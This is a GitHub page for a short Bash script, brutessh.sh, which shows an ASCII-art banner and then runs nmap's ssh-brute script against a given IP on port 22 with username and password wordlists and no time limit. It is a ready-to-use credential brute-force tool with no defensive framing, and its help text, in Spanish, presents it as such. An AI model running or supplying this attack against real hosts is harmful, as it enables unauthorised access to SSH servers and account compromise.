-
Notifications
You must be signed in to change notification settings - Fork 1
/
brutessh.sh
45 lines (43 loc) · 2.02 KB
/
brutessh.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
cat << "INFO"
..
,,, MM .M
,!MMMMMMM!, MM MM ,.
., .M .MMMMMMMMMMMMMMMM., 'MM. MM MM .M'
. M: M; M .MMMMMMMMMMMMMMMMMMMMMM, 'MM,:M M'!M'
;M MM M: .M .MMMMMMMMMMMMMMMMMMMMMMMMMM, 'MM'...'M
M;MM;M :MM .MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM. .MMMMMMMM
'M;M'M MM MMMMMM MMMMMMMMMMMMMMMMM MMMMMM. ,,M.M.'MMM'
MM'MMMM MMMMMM @@ MMMMMMMMMMMMMMM @@ MMMMMMM.'M''MMMM;MM'
MM., ,MM MMMMMMMM MMMMMMMMMMMMMMMMM MMMMMMMMM '.MMM
'MM;MMMMMMMM.MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM. 'MMM
''.'MMM' .MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMM
MMC MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM. 'MMMM
.MM :MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM''MMM MMMMM
MMM :M 'MMMMMMMMMMM bruteSSH2 MMMMMMMM'.MM MM:M. 'MMMMM
.MMM ...:M: :M.'MMMMMMMMMMMMMMMMMMMMMMMMM'.M'' MM:MMMMMMMMMMMM'
AMMM..MMMMM:M. :M.'MMMMMMMMMMMMMMMMMMMM'.MM' MM''''''''''''
MMMMMMMMMMM:MM 'M'.M'MMMMMMMMMMMMMM'.MC'M' .MM
'''''''''':MM. 'MM!M.'M-M-M-M'M.'MM' MMM
MMM. 'MMMM!MMMM' .MM
MMM. ''' '' .MM'
MMM. MMM'
MMMM ,.J.JJJJ. .MMM'
MMMM. 'JJJJJJJ'JJJM CMMMMM
MMMMM. 'JJJJJJJJ'JJJ .MMMMM'
MMMMMMMM.' 'JJJJJ'JJMMMMM'
'MMMMMMMMM'JJJJJ JJJJJ'
''MMMMMMJJJJJJJJJJ'
'JJJJJJJJ'
INFO
if [ -z "$1" ]; then
echo
echo "Fuerza bruta con diccionarios a SSH."
echo "Requiere nmap"
echo "Uso.: sh brutessh2.sh <ip>"
echo
exit 0
fi
echo
echo
nmap $1 -p 22 --script ssh-brute --script-args userdb=usuarios0.txt,passdb=claves0.txt,unpwdb.timelimit=0